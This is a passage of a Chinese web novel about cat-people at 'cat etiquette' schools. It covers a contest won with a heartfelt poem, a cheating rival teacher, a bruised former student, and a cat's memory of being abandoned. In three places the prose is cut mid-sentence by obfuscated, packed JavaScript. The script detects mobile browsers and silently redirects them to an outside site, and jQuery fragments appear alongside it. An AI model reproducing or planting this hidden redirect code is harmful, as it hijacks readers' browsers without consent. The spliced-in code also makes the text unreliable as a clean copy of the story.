他失控地大吼起来:“不可能!黑幕!” 会场内热热闹闹的氛围,立刻就被他这一声大吼打断了,主评委的笑意瞬间消失,冷冷地看着他。 江有鱼不知道方槐发什么疯,胜败乃兵家常事,一个成年人,怎么这么输不起?还敢说黑幕? 子衿是猫猫天才学院的选手,本届大赛承办方就是猫猫天才学院,即使有黑幕,也应该是子衿夺冠才是。 谁家黑幕反而会把自己的选手弄下去的?搞笑么? 方槐捏紧拳头,怒视着主评委。在复赛的时候,主评委就给灰狸打个满分,现在,又把冠军颁给灰狸,要说他没有跟有鱼猫德学院串通一气,谁信? 毕竟,子衿是不可能输的! 他借承办方之便,半个月前就想办法弄到了三场比赛的考题,文章也是他写好,让子衿提前背了答案的,每次上场,直接默写背诵下来便好。 子衿为此足足练习了半个月,就算是闭着眼睛写,也不会写错。 难道说,灰狸的文章会写的比他方槐还好? 黑幕!主评委一定是受了有鱼猫德学院的钱! 他一个箭步蹿上台,紧盯着主评委和江有鱼,大声道:“我有异议!子衿的水平我很清楚,不可能输给灰狸,我要求启封答卷,重新评审!” 乖乖,大丑闻啊! 懒洋洋的电台记者一下来了精神,对着台上猛劲儿拍了起来,不管能不能播出去,原始素材一定要留下! 主评审的脸比锅底还要黑,他在业内威名赫赫,还从来没人敢指着他的鼻子说过黑幕,这遭算是开了眼界。 不过,他毕竟是有气度的,反正他身正不怕影斜,重评就重评! 灰狸那份答卷,是他见过最好、最有灵气的文章,不论是谁来做评审,都不可能有第二个答案! 答卷很快就拿过来了,方槐一把抢过子衿的卷子,向大家、尤其是向着摄像头展示:“大家看清楚了吗?这样一份答卷,难道不是最优秀的吗?” 摄像头扫过那张卷子,确实是字迹优美,文理清晰,简直是篇模范作文: 我的老师叫做方槐,他是一个年轻的男人,有着大大的眼睛,长长的睫毛,眉毛又浓又黑。他很喜欢运动,擅长足球和排球。他的性格温和,空闲的时候,会跟家人一起去度假。 方槐老师是个很好的老师,所有的小猫都喜欢他,我也喜欢他。 “看清了吧?”方槐绕场一圈,大声喊冤,“这样的文章,凭什么不能得第一?” 他还想再说什么,却被主评委冷声打断了:“好了!年轻人,不要再大呼小叫了,你起码也让别人看看灰狸的卷子吧。” 说罢,主评委拿起另一张卷子,展示在众人面前。 22.猫的幸福,就是有鱼 方槐卯着一股劲,就要上去找茬。 首先,他不相信灰狸能写出什么好东西;其次,就算写的还不差,自古来文无第一,他一样能找到角度攻击! 然而当他看到那上面的内容时,整个人如被泼了一桶雪水,彻骨冰凉。 江有鱼都已经做好战斗准备了,却见对方哑火,心下奇怪,连忙也凑过去看灰狸的考卷。 只一眼,她就明白,为何方槐会做出那样的表情。 卷子上面写着一首小诗,江有鱼鼻子一酸,忍不住要落泪。 江有鱼做饭很好吃。 江有鱼的课很有趣。 江有鱼给我做了一个布偶, 说我是世上最好的猫咪。 遇到她之后 我每天都过得很开心。 因为猫的幸福,就是有鱼。 那字迹稚拙可爱,一看就来自于刚学会写字的新手,遣词造句也极为简单,如乡间野花,全无雕饰。 然而,只要不是瞎子,就能看出这小诗的优秀之处。 它的字里行间,盈满了温情,天真热烈,浪漫纯粹。子衿的文章虽然模范,却只是平铺叙事,挑不出毛病,也留不下印象。 但灰狸的这首作品,完全可以称为“艺术”了! 台下,观众们赞叹不已,还有人当初拿出手机,对着那首小诗拍照。 其余参赛选手更是心服口服,好几个猫德教师凑过来跟江有鱼搭话,想要跟她讨教教学经验。 江有鱼却恍如不闻,只是默念着那一字一句,心中一片柔软。 灰狸跟她相处已经有一个月了,但始终不给摸,不给抱、还整天冷着个脸。 她知道有些小猫的个性就是独立冷静的,也不会去勉强灰狸改变个性,变成甜美粘人的小猫。 但她内心还是有些许失落。 灰狸可以不亲人,只是偶尔对她示好一下,也不行吗? 如果不是今天看到了这份考卷,她真的不知道,灰狸酷酷的外表下,居然有这么细腻热烈的感情! 这会儿,她早就把方槐跟比赛丢到了脑后,忘情地拉着灰狸的手:“灰狸……我真的让你过的很开心吗?” 灰狸局促不安,他写下这东西的时候,从来没想过,江有鱼会看见它。 可是既然看见了,那抵赖也没用,灰狸微微点了一下头。 这点头的幅度,就好像蜻蜓点水那么轻,却在江有鱼心中荡起了一波一波的涟漪。 她激动地张开双臂,想去抱灰狸,却见灰狸背过身去,她只抱住了一条毛绒绒的大尾巴。 小猫还是这么害羞呀! 但是江有鱼全不在意,要知道之前灰狸可是完全不给她碰的,愿意给抱尾巴,已经是大大的进步。 她紧紧抱着那条尾巴,开心地恨不得在地上打两个滚。 好软好丝滑的毛啊!灰狸咪果然是世界上最好的小咪! 那边,主评审看着方槐那阵青阵红的脸色,冷笑一声:“下面,我来重申一下决赛评选标准,并说明我为何认为灰狸选手是冠军。” “首先,文章需要以自己的教师为主题,语言流畅无错字,这点,两位选手都合格。” “但是说到感情饱满,子衿选手就大大逊色了,直白的说,简直可以叫毫无感情。” “但是灰狸选手的文章不一样,我相信,在场的每一个人,在读过这首小诗之后,都能明白他与江老师之间的情谊。” “甚至他还掌握了双关这一高级文字技巧,猫的幸福,就是有鱼。这是多么天然质朴的诗句!” “我认为,灰狸已经明白,文字是用来表达心声的,他超越了学习的阶段,是一只懂得创造的小猫,比一些人类更有文化!” 主评审转向方槐:“年轻人,现在,你还认为我的评审有黑幕吗?” 方槐颓然地张了张嘴,一句话也说不出来。 他知道,他彻底的败了。 可是他怎么能败呢?汪泉校长已经给他们下了死命令,不管用什么办法,六名组冠军必须全部来自猫猫天才学院啊! 猫猫天才学院入驻云朵市还不到一年,虽然资本雄厚,但口碑和知名度远远不如本地的老牌院校。 参加猫德大赛,是在本地猫德教育界打响名头的最好机会,如果猫德大赛的组冠军全部来自猫猫天才学院,学校必定一炮而红,成为云朵市的头号猫德学院! 但现在,计划失败了,校长一定会雷霆大怒,他怎么办?他肯定会被开除的! 方槐痛苦地抓着头发,蹲在地上,子衿上去扶他,低声劝说道:“方老师,其实这样也好,要是用歪门邪道拿冠军,我心里也不舒服……” 方槐却不领情,粗鲁地一把推开子衿:“傻猫懂个屁!走开!” 江有鱼看到方槐的举动,登时皱起眉。 这年头,真是什么王八蛋都能当老师了,输了比赛就拿学员撒气,这算什么本事? 这个猫猫天才学院,看来真是不怎么样,从上到下没一个好货! 主评审也看不下去,给了工作人员一个眼色,当即便有人把方槐给拉下去了。 没了碍事者的打扰,冠军颁奖仪式继续举行。 主评审亲自为灰狸戴上一个刻有“文化组冠军”字样的金牌,并颁发了两万元奖金给江有鱼。 记者又指挥台上的两人做出握手、微笑、献花等姿势,方便拍照做成头版新闻。 闪光灯咔咔地响着,一道一道的白光亮起,江有鱼觉得,自己像是陷入了一个美好的梦里。 荣誉和奖金,一夜之间,她全部拥有了。 可是,在这一刻,她忽然发现,那些也不是很重要。 起码,它们带给她的快乐,远远不及灰狸写的那首小诗。 江有鱼将那张答卷折起来,放到了胸前的口袋里。 回头,她会把奖牌挂在猫德学院门口,荣誉就是展示给别人看的。 可是这首诗,她要装裱起来,放在自己的床头。 真正珍惜的东西,不需要让人知道,只要她自己欣赏就够了。 颁奖仪式举办完毕,其余选手都回去了,江有鱼和灰狸则被工作人员引入了大会场。 在那里,六位组冠军将齐聚一堂,共同庆祝他们的成功。 大会场已经提前被人布置过了,张灯结彩,喜气洋洋。 灰狸他们的比赛是倒数第二个完成的,其余四个组的组冠军都已经在里面等着了,江有鱼放眼望去,惊诧不已。 怎么全是猫猫天才学院的选手?这家学校的教学水平有这么强? 这些组冠军们既然来自同一家学院,老师们也都是同事,便聚在一起说说笑笑,交流比赛趣事。 他们也听见了有人进门的动静,含笑抬头,正想要恭喜同事,结果看到来的是个陌生人,都讶异地呆住了。 这什么情况?方槐跟子衿呢? 众人立刻窃窃私语起来,江有鱼感受到他们那无言的排斥,只觉浑身不舒服。 好在这种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16967564|191266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尴尬的时期也没持续多久,很快,最后一位组冠军也来到了。 他们是体育运动组的组冠军,果不其然,又是猫猫天才学院的选手。 当先进门的是个清瘦男子,肌肤惨白,眼白多,眼仁少,神色淡漠。 他身后跟着个可爱猫耳男孩,个子高高,一头金发,看着比灰狸还壮实,只是垂着头,一脸受气包的样子。 江有鱼的目光立刻被吸引住了,倒不是因为肌肉,而是因为这个男孩实在太眼熟了。 真的不是她眼花了吗? 江有鱼揉了揉眼睛,不确定地喊:“阿、阿橘?真的是你吗?” 男孩的脸一下就抬了起来,江有鱼这下看清了:真是阿橘! 可是,昔日的那个小胖子,怎么一下就变成这样子了? 讨喜的小圆脸现在变成了方下颏,白嫩的皮肤成了巧克力色,连阿橘标志性的柔软小肚腩也不见了,变成了一片平坦的腹肌! 圆滚滚胖嘟嘟的阿橘,怎么转眼就成黑皮体育生啦? 阿橘也看见了江有鱼,惊喜地喊道:“江老师!你怎么也到这里来了!” 他高兴地往前冲去,一头拱进江有鱼怀里,眼泪汪汪地撒娇:“江老师……我好想你……” 阿橘现在的力气好大,江有鱼差点被这颗橘色炮弹撞飞出去,后退两步才稳住身形。 灰狸立刻不高兴了,上前一步把阿橘从江有鱼怀里扯出去:“你谁啊?” 江有鱼连忙安抚灰狸:“没关系,这个是我之前的学员,他叫阿橘。阿橘,他是灰狸,是我的学员,也是很好的猫。” “阿橘,跟你说了多少次了,见到人不可以乱扑,怎么不听话?” 一个阴柔的声音插了进来,正是阿橘的带队老师。他不疾不徐地踱到阿橘旁边,温声道:“不乖的小猫,可没人喜欢。” 阿橘立刻脸色惨白,局促地站了起来,尾巴微微颤抖:“对不起,张老师。” 江有鱼瞥了一眼他的参赛证,连忙伸出手去:“张佑辉老师是吗?您别在意,我认识阿橘的,孩子只是很久不见我,有点激动罢了,我一点都不在意。” 张佑辉跟她握了握手,他的手心又凉又湿,江有鱼不由产生了自己握住的是一条水蛇的错觉:“有鱼猫德学院是吗?我想起来了,阿橘之前是在你那里上的学。” 江有鱼忍不住问道:“是啊,阿橘从我那里走的时候,起码比现在胖20斤吧?这才两个月左右,他怎么瘦了那么多?” “也没什么,就是节食加运动,主要是不能心软。”张佑辉笑吟吟地看着她,“之前的事情我也略有耳闻,您就是太惯小猫了,否则,阿橘的主人也不会给他办转学。” 江有鱼眉头一皱,正想反驳,台上却忽然响起音乐声,庆典要开始了。 张佑辉对他们微微一点头,便拉着阿橘,回到自己的座位去了。阿橘扭过头,泪眼汪汪地看着江有鱼,嘴唇努动,似乎想说什么,却又说不出来。 江有鱼觉得阿橘的举止有些奇怪,可有说不出哪里有问题。 台上,猫猫天才学院的汪校长已经开始致辞,并播放比赛中的精彩集锦。 所有人都看得聚精会神,唯有江有鱼心不在焉,频频扭头,瞥向阿橘的方向。 阿橘皱着眉,好像很不舒服地捂着侧腰。 他伸手掀开衣角查看,张佑辉发现他的动作,立刻按住他的手。 虽然只有一瞬间,但江有鱼还是看见了,阿橘的身体上,青紫交错,满是淤痕。 23.阿橘的遭遇 这是怎么回事? 江有鱼下意识就想站起来,可是现在场合不对,只好强自按捺住。 张佑辉的目光跟着转过来,江有鱼只好装做什么都没看见的样子,两眼放空,好像自己只是在溜号。 张佑辉在江有鱼和阿橘之间来回打量,没看出什么来,遂收回了目光,继续看台上的校长讲话。 江有鱼脸上撑着若无其事,心里早就乱成一团。 阿橘到底发生了什么事情?他怎么会浑身是伤? 难道说,他在猫猫天才学院受欺负了吗?石小姐知道这件事吗? 她的脚尖忍不住在地上磨蹭起来,恨不得现在就拉着阿橘问个清楚,可是不行,台上的校长没完没了地讲废话,听得江有鱼越发冒火。 好不容易熬到校长讲完了话,邀请六位组冠军一起上台合影,江有鱼故意磨磨蹭蹭,想要挨近阿橘。 灰狸一看她的表情,就知道她的心思,心下多了几丝不爽,一把拉起江有鱼,闷头向前冲去。 他故意选了个离阿橘最远的位置,几乎是队伍的一头一尾,江有鱼接近阿橘的想法落空了,她真是哭笑不得:“你这是做什么?” 灰狸警告地捏捏她手心:“现在他是别人的学员,我才是你的学员,你不应该多关注我一点吗?” 灰狸居然会主动承认是她的学员,令江有鱼颇为惊喜,她正想把事情解释一遍,但此时汪校长又挂着笑容走过来,让她发表获奖感言。 江有鱼的解释再度被打断了,接下来,他们一直站在台上,更没机会说话了。 获奖感言发表完毕,汪校长宣布了决赛计划。 这次的决赛,则是六位组冠军进入封闭式训练营,在没有老师陪伴的情况下度过五天,且不得跟外界有联系。 评审团们将近距离观察他们的一举一动,最终综合评审,赛出总冠军。 今天的典礼结束后,会举办一个庆功宴会,宴会结束后,小猫们就要进入训练营了。 江有鱼没想到,今年的决赛居然采取这种形式,她可是什么都没准备呀!灰狸连身替换衣服都没有,这怎么能行? 她连忙询问工作人员,能否给灰狸送行李过来,却得知所有小猫都不能带自己的物品进去,主办方会为小猫准备好一切的。 既如此,江有鱼也没了办法,一想到灰狸要离开自己五天,她的心就惴惴不安。 灰狸也提不起精神。 他不想跟江有鱼分开,分开不是好事,在这个世界,每次离别都有可能是永别。 五天之后,江有鱼还会来接他吗?万一她不来怎么办? 灰狸想着这个可能性,焦虑地开始啃指甲。 庆功宴虽然提供了高级菜肴,又是澳洲龙虾又是法国生蚝,但一人一猫都吃不下。江有一直在叮嘱灰狸注意事项: “不求你得什么冠军,只要平安过了这五天就行,别在镜头前跟别猫打架,我就阿弥陀佛了。还有,也不能让别猫欺负你,要是闹了矛盾,一定要跟我说……” 她唠唠叨叨没完没了,灰狸耷拉着尾巴,一声不吭。江有鱼终于告一段落,他才闷闷问道:“我不参加行吗?” “不参加最终选拔,那你的组冠军头衔就要取消了啊……”江有鱼有点头疼,她哄着灰狸道:“就五天,你坚持一下,如果实在不喜欢跟他们一起玩,就睡觉好了。” 灰狸依然不高兴,他冷不丁地发问:“从训练营出来的时候,你还会来接我吗?” “当然啦!我第一个来接你,一定比其他小猫的老师来的都早!”江有鱼保证道。 灰狸耷拉下去的尾巴,又稍微翘起来一点。 他正想趁机让江有鱼多保证几句,比如以后也只能看他一个猫什么的,却被一阵喧哗打断。 张佑辉带着阿橘,向其他参赛选手轮番敬酒,现在正好轮到江有鱼这里。 江有鱼只得拿起酒杯起身应酬,两人互相恭维几句,江有鱼转向阿橘,含笑问道:“阿橘,到了新的学校,觉得怎么样?开不开心?” 阿橘低声道:“开心。” 他嘴上说开心,眼珠子却瞪得老大,哪里有一丝开心的样子。 江有鱼继续问道:“你在这里还是住校吗?我记得你的主人很忙,你最近见她是什么时候?” 阿橘听到“主人”两个字,鼻子尖都红了,眼泪在眼眶里打圈圈。 江有鱼继续问道:“得了组冠军,石小姐也很为你高兴吧?有没有跟她说这个喜讯?” 阿橘颤声道:“她……” 张佑辉皱了皱眉,把一只手搭在了阿橘的后背上,阿橘立刻不说话了,抖如筛糠。 “江老师,您就不要提石小姐的事情了。”他往阿橘背上推了一把,让他回到座位去,这才凑近江有鱼道: “阿橘的主人已经很久没来看过他了,我给她打电话,也没人接,大伙儿都怀疑,阿橘可能要被抛弃了。” 什么? 江有鱼不敢相信自己的耳朵,灰狸原本对阿橘横眉冷对,一听这话,眼神都温和了不少。 张佑辉叹道:“阿橘自己心里也有数,训练那么辛苦,他摔得身上青一块紫一块,愣是坚持了下来,铆足了劲儿要做好猫,就盼着主人能回心转意。唉,真是可怜……” “江老师,你以后别当着阿橘提主人了,他心里该难受了。” 江有鱼不知道说什么好,只得嗯嗯啊啊的答应着,张佑辉又跟她碰了一杯,告辞回去了。 灰狸叹息一声:“真是个可怜的家伙。” 江有鱼也被这消息震撼的不轻,怪不得阿橘看起来状态那么差,原来……阿橘要被抛弃了? 石小姐为了阿橘跟自己吵架的事情,还历历在目,现在说不养就不养了?开玩笑的吧? 她坐下,掏出手机,点开了石小姐的微信朋友圈。 朋友圈的头图,赫然是阿橘三个月大时的照片,那时候的阿橘只有巴掌大,在石小姐手心里蜷成个球,好像刚出锅的炸丸子一样可爱。 曾经捧在掌心里的小猫咪,转眼就弃如敝履了吗? 有些人就是这么不把生命当一回事,江有鱼心里涌上一股愤怒,但她无能为力。 猫虽然能化成人形,但他们始终不可能得到人类的权益,他们的地位,只是主人的财产。 主人对它们拥有绝对的控制权与处置权,不想要养猫的时候,想丢掉就可以丢掉,但法律不会因此惩罚主人的,毕竟,猫只是畜生啊。 现在猫猫天才学院还没有把阿橘赶出去,是因为石小姐一口气交了整期的学费,阿橘才能有饭吃、有床睡。 等到学期结束了,阿橘能到哪里去呢? 光是这么想着,江有鱼就心疼地要掉眼泪了。 阿橘是只非常柔顺亲人的猫,从不发脾气、不伸爪子,娇憨胆小,爱笑爱吃,这样的阿橘,离开了人类,要怎么生活下去呢? 只是,江有鱼无法改变这个事实,她只能暗暗祈祷,阿橘能拿到总冠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16972961|191266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 军,石小姐看在冠军的面子上,说不定会回心转意。 即使她真的不要阿橘了,一只冠军猫也更容易被领养。到时候她可以帮着宣传一下,争取不让阿橘去流浪。 这么想着,她不由得叮嘱灰狸:“灰狸,我拜托你一件事好吗?到了训练营,你可以顺便照顾阿橘吗?他现在处于猫生低谷,很需要朋友的关心。” 即使江有鱼不说,灰狸也会这么做的。 他明白被人类抛弃是什么滋味,黎明会的所有兄弟们,80%都有被人类抛弃的经历。家猫与野猫的身份区别,有时候只在人类一念之间。 家猫阿橘很可恶,但野猫阿橘,就是灰狸的难兄难弟了。 他点头:“你放心吧,我一定会罩着阿橘的!” 同时,他对于江有鱼的信心也更足了。 毕竟,江有鱼连阿橘都会关心,难道会不管他吗? 有了责任感,又有了安全感,灰狸对于去训练营一点都不抗拒了。 宴席结束,小猫们排成一排,被工作人员带走了。 江有鱼不舍地望着小猫们走远,灰狸特意走在队伍的末尾,一路摇着尾巴示意她安心。 所谓的集中训练营,其实就是一栋宿舍楼,小猫们被带到了一个三室一厅的大套间,接下来几天,他们就要在这里生活。 首先要面对的就是分宿舍问题,其他小猫都是猫猫天才学院的,平常也算熟悉,都想抱团,谁也不愿意跟灰狸一起住。 生活常识组冠军是一只名叫汤姆的蓝猫,他一进门就往阿橘身边凑,打算跟阿橘同宿舍。 岂料,灰狸一把将阿橘提到自己身后,虎视眈眈地扫视全场:“阿橘要跟我一起住,你们都走开!” 群猫一脸懵。 这、这种校园霸王爱上我的感觉是怎么回事?哪里来的霸道小猫? 阿橘也懵了,这个灰狸是怎么回事? 他们第一次见面的时候,灰狸就好凶,把自己提来提去,看起来可怕极了。 现在,灰狸非要跟他一起住做什么?莫非、莫非是要趁机揍自己一顿? 他抖着声音反对了:“那个……那个……我想跟汤姆一个宿舍……” 灰狸转过头,用独眼瞪着他:“不,你不想。” 阿橘反对无效,哭丧着脸向旁边看去,希望其他小猫帮他说句公道话。 其他猫哪敢惹灰狸,顷刻间便两两分好了组,摆明了不掺和这件事。阿橘只好无奈地接受了自己的命运。 是夜,阿橘战战兢兢缩在被窝里,望着对面床的灰狸,总疑心他会半夜起来抽自己。 他、他干嘛一直瞪着自己?自己到底哪里得罪他了? 灰狸怜悯地望着他,评估了半天后,得出一个结论。 阿橘要是去流浪的话,估计连三天都活不下去,根本没救了。 虽然看起来身体挺好,但是胆子太小,而且完全不会打架,也不像能吃苦的样子。 想到这,灰狸大发慈悲地问道:“以后就跟我混吧,先叫一声大哥来听听!” 阿橘震惊:“啊?” 灰狸冷哼一声:“怎么?不叫?告诉你,我可是从来不收没用的猫做小弟的,收下你那是看在江有鱼的面子上,你还不满意了?” “你主人都不要你了,流浪的生活可是很难过的,没有我罩着,像你这种又笨又胆小的猫,很快就会死无全尸!” 听到这里,阿橘如遭雷击,眼泪吧嗒吧嗒落在了衣服上。 24.飘如陌上尘 灰狸慌了神,他最见不得猫眼泪了:“你、你哭什么呀?” 阿橘呆呆问道:“你听谁说主人不要我的?” “就是那个张老师啊。” 阿橘哇地一声哭了出来:“我不信!!!主人怎会不要我?她、只是最近生我气了而已!” 灰狸作为过来猫,知道这是猫生的至暗时刻,叹了口气,拍了拍他的头:“人类都是这么坏的,你要是相信他们,那就是天下最大的傻瓜。” 阿橘倒在枕头上,悲伤逆流成河:“不可能!主人对我很好的,她爱我爱的不得了,她是世界上最好的主人!” 灰狸叹息道:“看开点吧,人类都这样,喜欢你的时候,就把你捧上天,不喜欢你了,就把你一脚踢开,你哭瞎眼睛也没用。” 他给被抛弃的小猫做话疗,已经很有经验了,现在熟练地展开架势: “我知道你想说什么,你的主人是特别的,她从一堆小猫里对你一见钟情,用奶瓶子给你喂奶,给你买这买那,天天亲你抱你说你是最可爱的小猫,对不对?” 阿橘噙着眼泪点点头。 灰狸嗤之以鼻:“都是假的!他们这么做只是因为他们无聊,而你又长得可爱,所以她们才愿意跟你玩玩而已。” “当他们觉得烦了,或者发现你开始变丑了,就会把你装进一个纸箱子里,直接扔到大马路上去。” “你仔细想想,是不是这么回事?” 阿橘仔细一想,确实,自己胖了之后,主人就把自己送到猫德学院,很少来看自己了,嘴上却仍是不信:“你怎么知道?” 灰狸指了指自己:“因为我就是活生生的例子啊。” 他再度回忆起自己仍然青葱、稚嫩、天真、相信人类的岁月,那时候的他还是一只小猫,可能也就五六个月大。 是的,灰狸曾经,也有过“主人”。 一开始的故事都是相似的,从诸多小猫里选中独特的一只,带回家,喂食喂水,买玩具…… 每只猫都觉得自己是特殊的,但每只猫都没那么特殊。 人类喜欢他们,因为他们可爱,因为他们身价不菲,因为他们全身心地依赖着人类。 人类不是爱他们本身,只是爱着自己的幻想而已。 一旦他们不再能满足人类的幻想,人类立刻就会翻脸无情。 灰狸还记得自己被抛弃的那一天,是个明丽温暖的日子。 那天,他正躺在地上晒太阳,男主人的朋友登门拜访,两人的话题很快就转移到了灰狸身上。 男主人得意地指着他说道:“你想养猫?养这种缅因猫怎么样?别人给我的时候我还不想要,养了一段时间发现,这猫脾气特别好,从来不伸爪子,最适合陪伴小孩了!” 那朋友来了兴趣,上前查看他一番,却摇摇头:“缅因?缅因猫都是方下巴的,你这猫下巴这么圆,怎么可能是缅因?” 男主人脸色变了:“不可能啊,那人说它是缅因猫,还是什么赛级品种呢!” “有血统证吗?没有?那你肯定是被骗了。” 男主人抱着最后一丝希望问道:“那它值几个钱呢?” 朋友怜悯道:“一钱都不值,这就是普通的狸花猫,只是毛比较长而已。” 就是这句话,决定了灰狸的命运。 当天晚上,男主人在家里大发一通脾气,在女主人跟小主人哀求无果后,灰狸被扔出了门外。 那时候他还什么都不懂,只以为这是个好玩的游戏,咪咪叫着,用小爪子挠门。 爪尖在门上挠出沙沙的响声,但没人开门。 灰狸坚持不懈地挠,半个多小时后,门终于打开了,他觉得自己赢得了最终胜利,高兴地翘着尾巴,往门里跑去。 迎接他的却不是主人的怀抱,而是迎面踢来的一脚,且伴随着主人愤怒的咆哮声:“死猫!别他妈的吵了!” 灰狸只是一只幼猫而已,被这一脚踢得飞了出去,喵嗷惨叫,在地上翻滚两圈,半天起不来。 这是做什么?灰狸不知道,他之前从来没有挨过打,他觉得肚子很疼,头也晕晕的。 这感觉很不舒服,灰狸下意识地向着主人跑去,不舒服的时候就要找主人。 主人会给他梳毛,会抚摸他,还会给他吃药,虽然药不好吃,但是吃过之后,确实会好起来。 他在主人脚边绕来绕去,咪咪叫着蹭他的鞋子,之前,每当他这么做,主人就会把它抱起来,摸摸他的小脑袋。 但这一次,灰狸得到的不是温柔的怀抱。 主人粗鲁地抓住他的后颈皮,把他塞进了一个大纸箱。 纸箱里面很黑,灰狸什么都看不见,只能感觉到十分颠簸,主人似乎端着这个纸箱在走路。 灰狸颠得七荤八素,但他忍着没有发出一声。 主人说他“吵”,所以他不发出声音,主人就会高兴了。 砰地一声,纸箱被丢在地上,灰狸嗅到主人的气味离去了,他惊慌地扒拉开箱子,追着主人的背影跑去。 好不容易追上了,主人却又是一脚踢过来,灰狸下意识地往后一闪,躲开了这次攻击。 主人见他后退了,便继续向前走去,灰狸又追,主人便再次把他赶开…… 就这样来来回回七八次,主人终于怒了:“妈的赔钱货,想丢都丢不掉!” 他拎起灰狸,吼道:“别他妈跟着我了!一个钱都不值,还想让我贴钱养着你?滚!滚!” 灰狸不理解什么是赔钱货,他只是歪着头,睁圆了眼睛看着主人。 这就是他最后一次见到那个男人了。 他再次被塞回了纸箱子,这一次,主人把纸箱子封上口,倒扣过来。 灰狸在纸箱子里又叫又跳,使出全身力气,依然无法逃脱。最后,他狠狠心,伸出小爪子,拼命对着纸箱挠了起来。 灰狸爪牙并用,也不知道挠了多久,纸箱表面终于出现了一个破口,他从破洞里钻了出来,只见已是繁星满天。 “喵?” 他疑惑地叫着,这是哪里,主人又在哪? 肚子好饿,小爪子也很累了,为什么没有人来抱抱他?好吃的食物又在哪里? “喵?喵!喵——” 他迷惑地边走边叫,声音在夜风里传出很远。 但是始终没人理他。 灰狸真的有点害怕了,他又钻回了那个纸箱,纸箱还残留着主人的气味,这让他感觉到安全。 主人也许只是在跟他捉迷藏吧?在家的时候,主人就经常藏起来让他找。 这一次,肯定也不例外,他只要耐心的等,主人最后觉得没意思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16977272|191266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,就会主动出现的! 月亮落下,太阳升起,太阳落下,月亮又升起。 灰狸又饿又渴,一个小女孩路过,发现了这个纸箱子,惊喜道:“哎呀!可爱猫猫!” 她端起纸箱,想要把灰狸带回家,灰狸急得要命,要是她把自己带走了,主人回来找不到他,那可怎么办呢? 他生平第一次对着人类伸了爪子,发出威胁地咆哮,小女孩大吃一惊,悻悻收回手,觉得灰狸一点都不可爱了。 她不满地把纸箱扔在地上,离开了。 三天过去了,主人依然没有来。 灰狸好饿。 饿的肚子痛,饿的脑子晕,他的胃空荡荡的,心也空荡荡的,浑身发痒。他拼命地蹭着纸箱,想象着那是主人在抚摸自己,但很快,这种自欺欺猫,也无济于事了。 他实在等不下去了,茫茫然钻出了那个纸箱。 其时夕阳西下,云层血红,他举目四顾,天地之大,唯有他一只小猫。 灰狸只觉得遍体生寒,即使把全身蜷缩在一起,他还是觉得冷。 很久之后,他才明白,这种感觉,叫做“被抛弃”。 灰狸的这段故事,已经不知道给几百只小猫讲过了,他深吸一口气,为故事收了尾:“你懂了吧?相信人类是没用的,像是你我这样遭遇的小猫,还不知道有多少。” “我跟你说这些,就是想劝你,不要跟我一样,傻乎乎地在那里等,还是快想想将来怎么过日子才好!” 阿橘噙着眼泪问道:“那你后来是怎么过的呢?” “我?自己学着抓老鼠、掏鸟窝,渴了就喝点河水……刚开始总是很难的,后来我变成人有了手脚,日子就好过多了,只要肯动手,吃的还是能搞到的。” 阿橘一听见老鼠,就浑身打颤,又忍不住哭了起来:“我不要吃老鼠!我要吃蛋挞和烤肉!” 灰狸叹息道:“别做梦啦,以后你就知道了,没点技术,连老鼠都吃不上呢。” 阿橘哽咽道:“那你现在也每天都吃老鼠吗?” 灰狸挠了挠头:“额……这个嘛……现在我确实没吃老鼠。” 阿橘的眼睛一下就亮了:“对!江老师收养了你,是吧?” 灰狸下意识地反驳:“什么收养?不是收养!我现在是被迫跟她住在一起的,总有一天我会离开的!” 被抛弃这种事,只要有一次就够了,灰狸的心并没有别人想象的那么强大,这种痛苦,没有小猫能承受第二次。 就算江有鱼是个很好的人类,他也不愿意成为她的猫,江有鱼只是……他的朋友。 朋友是平等的,可以选择短暂的共处,也可以随时离开,更长久也更安全。 等到他重获自由后,他会经常回来看看江有鱼,也会送些猎物给她,但他永远不会做任何人的猫。 高傲如他,永远也不会让人再有机会抛弃他。 阿橘听说江有鱼没有收养灰狸,更激动了:“既然她没有收养你,那、那江老师愿不愿意收养我呢?” 他想的很简单,既然流浪的日子那么不好过,早点找个下家是正经。 江有鱼一向待小猫很好,做她的小猫,肯定不会被抛弃的。 灰狸的脸色刷一下就变了,他一把揪起阿橘,咬牙道:“你说什么?” 25.谁是骗子 阿橘被他的气场冲击,吓得尾巴炸毛了:“怎、怎么了?” 灰狸不假思索道:“江有鱼不会收养你的,因为、因为……” 他因为不出来了。 仔细一想,江有鱼收养阿橘的可能性真的很大啊! 